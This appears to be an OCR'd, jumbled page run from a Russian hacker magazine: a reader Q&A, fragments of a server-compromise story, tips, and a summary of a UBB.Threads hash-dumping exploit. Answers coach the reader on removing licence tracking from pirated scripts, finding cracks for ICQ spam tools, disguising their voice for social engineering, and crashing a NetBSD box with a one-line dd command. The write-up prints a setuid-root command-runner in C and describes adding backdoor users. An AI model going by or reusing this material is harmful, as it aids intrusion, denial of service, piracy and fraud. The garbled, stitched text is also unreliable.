книги хакеры / журнал хакер / 071_Optimized

SideX

(hack

-faq@real.xakep.ru)

&

Andrey

Mat

veev

(andr

ush

ock

@r

e

al

.

xakep

.ru)

QПоставил недавно FreeBSD 5.3-BETA6, чтоб на новую пятерку полюбоваться, все-таки скоро именно она станет STABLE. Заметил, что теперь вместо /modules/ все лежит в /boot/kernel/. И файлов там намного больше! Не подскажешь, что за изменения такие?

!Задавая вопросы, конкретизируй их. Давай больше данных о системе,

описывай абсолютно все, что ты знаешь о ней. Это мне поможет ответить на твои вопросы и указать твои ошибки.

И не стоит задавать вопросов, вроде «Как сломать www-сервер?» или вообще просить у меня «халявного» Internet'а. Я все равно не дам, я жадный :).

AДействительно, в пятой ветке в модули вынесено гораздо больше ядерного кода, чем когда бы то ни было. Разработчики хотели даже

псевдоустройство /dev/null модулем сделать ;). В изменениях нетрудно убедиться:

[(FreeBSD 4.x):~ ]# ls -l /modules | wc -l 218

[(FreeBSD 5.x):~ ]# ls -l /boot/kernel | wc -l 392

Сделано это, разумеется, для удобства. Забудь те времена, когда на каждый чих ядро приходилось пересобирать, добавляя нужные опции. Теперь в 80% случаев достаточно загрузить нужный модуль командой kldload. Так что отныне пересборка ядра - это скорее исключение, чем правило.

QХочу установить на свой сайт платный скрипт. Как мне сделать, чтобы установку не мониторили создатели программы?

AДействительно, множество скриптов так или иначе дают знать его кодерам о факте установки. В отдельных scp’ах вшит модуль, который

посылает емайл кодерам после установки или вливает на их сервер соответствующее сообщение. Другие скрипты просто метят html-код своими условными знаками, которые потом светятся при запросе поисковиком. Третий способ заключается в том, что добропорядочные посетители могут банально настучать на тебя: как так, маленький хакерский сайтик, а на нем скрипт за $1.800? Я вовсе не призываю нарушать авторских прав, ибо они - святое. Однако если ты встал на тропу войны, то следует изучить сорцы скриптов, чтобы вычистить все возможные метки. Также имеет смысл обкатать скрипт на локальной машине: не стучится ли он куда, чтобы дать репорт? Если стучится, надо изучить исходники, вычленив часть, в которой прописан интернет-адрес, куда ломится скрипт. Бороться же с Павликами Морозовыми лучше собственной скромностью: удалить чужие копирайты, переименовать файлы скриптов в нечто менее заметное. А вообще, надо быть добрее и открытее к людям, и недоброжелателей будет меньше :).

QМой любимый дистрибутив перешел с Xfree86 на Xorg, и я заметил, что синий цвет в терминалке xterm стал теперь гораздо более светлым. На Midnight Commander смотреть невозможно. В чем дело?

AДело в том, что в Xorg поправили цветовые коды и теперь то, что было dark blue, стало bright blue, синим цветом по умолчанию. Вер-

нуться к старому можно такой строчкой в ~/.xresources:

XTerm**color4:darkblue

Не забыв, конечно, перечитать этот конфиг при старте иксов:

$ echo "xrdb -merge ~/.xresources" >> ~/.xinitrc

QПочитал ваш «Хаос» и занялся социальной инженерией. Одно беспокоит - не хочется наткнуться на белорусского партизана, который запишет мой голос и тем самым подготовит неслабую улику для суда. Посоветуй, как можно изменить голос?

AПросто посмотри сольный концерт Максима Галкина и научись основам пародии, чтобы научиться менять голос. Не очень получается? Тог-

да поможет софтина AV VCS, которую можно качнуть с www.audio4fun.com. Твой голос можно будет сделать женским, а голос твоей подруги - мужским! Рассчитывать на стремительную беседу не стоит, ибо прога грешит задержками и в твоем долгом монологе могут проскальзывать неуместные паузы. Отучить софт от жадности можно на сайте http://astalavista.box.sk. Также следует обратить внимание на утилиты, которыми можно преобразовывать звуки музыкальных инструментов (real time effect processors). Эти проги подойдут и для преобразования голоса. Я лично в свое время юзал Guitar FX BOX (www.guitar-fxbox.com), где параметром pitch можно творить с голосом чудеса.

QА где можно достать iso-образы OpenBSD? На официальном сайте их нет.

AУвы, такова политика разработчиков. Но что нам мешает самим сделать исошку? Скачивай tgz-файлы дистрибутива в

/home/release/OpenBSD/3.6/i386/, поднимайся на два каталога выше и выполняй следующую команду:

/home/release/OpenBSD# mkhybrid -b 3.6/i386/cdrom36.fs -c boot.catalog -l -J -L -r -v -V "obsd36" -o obsd36.iso /home/release/OpenBSD

QХотел заняться рассылкой ICQ-рекламы. Какой софт для винды ты можешь посоветовать?

AЕсли ты будешь работать не за «спасибо», то рациональнее всего заказать приватный софт, который будет полностью удовлетворять тво-

им уникальным нуждам. Пока же работа, как и нужды, не уникальна, поможет и Ba!amut ICQ Spider, который можно слить с www.spszone.com/icqspider. Софтина небесплатна и неслабо связывает руки в бесплатной версии. Хотя к последней, 4.01, версии уже имеются лекарства. Боем был проверен и ICQ E-Marketer (www.imcaster.com), к предпоследней версии которого также предлагаются пилюли от жадности.

QСкажи, возможно ли в реальном времени отслеживать коннекты на 22 порт моей машины? Желательно, стандартными средствами. Утилиту netstat не предлагать, она мне не совсем подходит.

AКонечно, возможно, ты совсем забыл про tcpdump:

# tcpdump 'tcp and port 22 and tcp[13:1] & 2 != 0'

23:25:27.816805 192.168.1.2.63003 > isengard.domain.ru.ssh: S 2219828909:2219828909(0) win 65535 <mss 1360,nop,nop,sackOK> (DF)

Таким образом, ты будешь фиксировать все TCP-запросы с 22 номером порта получателя и установленным флагом SYN, который имеет значение 2 в 13 байте от начала TCP-заголовка. Вот почему в данном случае используется запись 'tcp[13:1] & 2'. Также не забывай о журнальных записях демона sshd:

# tail -f /var/log/authlog

Sep 27 23:25:32 isengard sshd[794]: Accepted password for andrushock from 192.168.1.2 port 63003 ssh2

QМеня затроянил какой-то негодяй, в результате чего изображение на экране перевернулось на 180 градусов! Что за отстой? Я удалил троя, но эффекта никакого. Винду теперь сносить, что ли?

AМожно просто перевернуть монитор, и все вернется на свои места :). Если же ты не сторонник реформ «с ног на голову», то скорее ищи

закладку Rotate в конфигураторе твоей видеокарты. Там будет указан возможный градус разворота: 90, 180 и 360. Переставляй изображение в положение Normal, т.е. 0 градусов. Впредь держи монитор антивируса включенным, будь осторожен с запуском даже проверенного контента. Меня вот последний раз так зацепило после установки кейгена с cracks.am.

QМне дали шелл на NetBSD! Помоги уронить тачку!

AВот ты бармалей. Разве так поступают? Ok, исключительно в образовательных целях поведаю тебе один способ. Реализация Soft Updates

(механизм мягких обновлений, при котором упорядоченные операции записи выполняются без участия журнального файла) в BSD-системах еще далека от совершенства. Так что можно состряпать особый стресс-тест для файловой системы, после выполнения которого ядру ничего не останется, кроме как запаниковать. В некоторых версиях NetBSD локального DoS'а можно добиться за счет простейшей команды:

$ dd if=/dev/zero of=a seek=1t

Master-lame-master

ЧТО ПОМОГЛО МНЕ ПРИ ВЗЛОМЕ?

1.Имея нюх на подозрительные скрипты, я быстро нашел лазейку на Web’е даже при выключенном журналировании запросов.

2.Для удобства я написал простенький интерпретатор, который позволял мне выполнять любую рутовую команду. Можно было пойти другим путем - каждый раз заливать эксплойт с вкомпиленной внутрь командой (именно так и делал хакер-де- фейсер). Но мой способ реализуется намного быстрее.

3.Чтобы на скорую руку добавить нового пользователя, мне было достаточно запустить две команды: первая дозаписывала служебную информацию в /etc/passwd, вторая - логин и пароль в /etc/shadow.

ФАТАЛЬНАЯ ПРОВЕРКА

Успешное выполнение любых команд

пилироваться. Мне было влом разбираться, в чем дело, и я выполнил это нехитрое действие на другой машине, а затем просто портировал файл. После запуска злостного munremap'а в корне успешно создался файл /owned. Можно сказать, что все шаги моего злодейского коллеги уже были раскрыты, но

азарт заставил меня доработать метод выполнения рутовых команд через WWW.

ПИШЕМ СВОЙ ИНТЕРПРЕТАТОР

Ты, наверное, не понял, почему в листинге скрипта /tmp/cmd промелькнул загадочный /tmp/exec. Дело в том, что мне захотелось написать собственный интерпретатор, при обращении к которому выполнялась любая команда от пользователя root. Для этого мне пришлось написать одну элементарную программу на си, а затем скомпилить ее в /tmp/exec. Прога должна обладать всеми функциями интерпретатора, а запрос читать из произвольного файла. Изучи исходник моего творения, быть может, ты сам не раз

êнему обратишься :).

Exec.c - рутовый интерпретатор

#include <stdio.h> int main() {

FILE *file; /* Файловая переменная */

char cmd[200]; /* 200 символов для команды должно хватить за глаза */

setuid(0);

setgid(0); /* Изменяем уид на 0 */ file=fopen("/tmp/c","r");

fgets(cmd,sizeof(cmd),file); /* Вытаскиваем из файла /tmp/c рутовую команду */

system(cmd); /* И выполняем ее */ fclose(file);

}

Можно было поступить проще и оформить команду в виде аргумента к шеллу, но мне удобнее записывать запрос во временный файл. Оставалось залить мой интерпретатор в /tmp/exec.c и собрать самопал компилятором.

Сплойт успешно справился с работой!

В некоторых версиях эксплойта mremap.c приходится ждать 4 часа до результата взлома. Если ты столкнулся с таким релизом, ищи обновление - более продвинутый сплойт ломает ядро всего за пару секунд.

На диске ты найдешь все прикладные средства, которые применялись при проверке, а также увидишь видеоролик, визуально восстанавливающий все интересные события.

работки и отсутствие какой-либо проверки данных привели к фатальному результату.

Через несколько дней, когда я уже запамятовал о проверке сервера, приятель снова вышел на связь. Он сказал, что хакер снова оставил дефейс и папку /lameroot :). То есть действовал по своей привычной схеме. Вот дурачок :). Я тут же попросил оформить мне SSH-доступ, чтобы выудить из логов важную информацию. Я не ошибся, взломщик действительно нашел брешь в SMS-скрипте. Как выяснилось позже, он заливал скомпиленный mremap.c с интегрированной в него командой, а когда злоумышленнику хотелось выполнить другой запрос, он тупо пересобирал сплоит. Самое главное, что горе-хакер не использовал проксика, и его адрес говорил о том, что нарушитель является клиентом сети крупного московского провайдера. Впоследствии мой приятель написал телегу в саппорт, и дефейсы прекратились. Впро- чем, возможно, они прекратились из-за того, что он воткнул проверку на символ «;» в sms.php. Ибо нефиг :).

ГДЕ ЗДЕСЬ МОРАЛЬ?

Несмотря на то, что мне никто не заплатил за аудит, я был очень доволен собой. Вопервых, я удачно попрактиковался в новом способе обхода файрвола, во-вторых, мой приятель попросил меня последить за безопасностью на его машине, в результате чего

Останавливаем файрвол

Выполнение рутовой команды с помощью эксплойта

я получил легальный рутовый шелл :). Ну и в-третьих, я еще раз убедился, что втыкать скрипты неизвестных авторов опасно для жизни. Как видишь, это может привести к очень неприятным последствиям. z

TIPS&TRIÑKS

Хочешь увидеть свои советы в журнале? Присылай их на адрес Sklyarov@real.xakep.ru. Ведущий рубрики Tips&Tricks Иван Скляров.

Если у тебя халявный хостинг, то из локалки можно качать к себе на сайт файлы.

<form enctype=multipart/form-data action="_URL_" method=post> // _URL_ ваш php файл, обрабатывающий событие.

<input type=hidden name=MAX_FILE_SIZE value=100000> // размер файла в байтах.

Send this file: <input name=userfile type=file> // откуда ка- чать локально (адрес можно копировать через буфер). <input type=submit value=Забрать></form>

Затем бесплатно забирать по сетке. Ограничения по размеру накладывает только твой хостер. Как написать php-скрипт - думай сам.

Antey ant_studio@hotbox.ru

Мутим защиту сервера

UBBTHREADS 6.3

ОПИСАНИЕ:

Не так давно на www.xakep.ru опубликовали статью, повествующую о взломе крупнейшего российского хостинга Valuehost. Выяснилось, что некий w00t нашел баг в форуме UBB.Threads, который позволял выводить хэши всех админских и юзерских паролей. Из-за дикой популярности борды сотни крупных порталов в момент стали уязвимыми. Совсем недавно появился перловый эксплойт, выводящий все хэши прямо в консоль хакера. Эксплойту передаются два параметра: хост и каталог, где расположен форум (по дефолту /ubbthreads/). После анализа опций деструктивный скрипт посылает кривой запрос серверу, в результате чего последний сдает все админские пароли.

ЗАЩИТА:

В финальных версиях UBB (6.4-6.5) баг отсутствует. Но раскрученная борда является платной, поэтому за безопасность хозяину сайта нужно выложить большую денежку. Или установить другой форум :).

ССЫЛКИ:

Скачать сплойт и почитать об ошибке в UBB можно здесь: www1.xakep.ru/post/24309/exploit.txt è www.xakep.ru/post/24136/default.asp.

ЗЛОКЛЮЧЕНИЕ:

Несмотря на кажущуюся несерьезность бага, хакеры извлекли из него максимальную пользу - утащили всю базу пользователей Valuehost'а. Как видишь, эксплойт может принести много славы взломщикам и море гадости владельцам раскрученных сайтов :).

GREETS:

Дружно снимаем шляпы перед авторами эксплойта ziGGy (ziggy31337@gmail.com) è Satir (satir@cyberlords.net).

Выводим админские хэши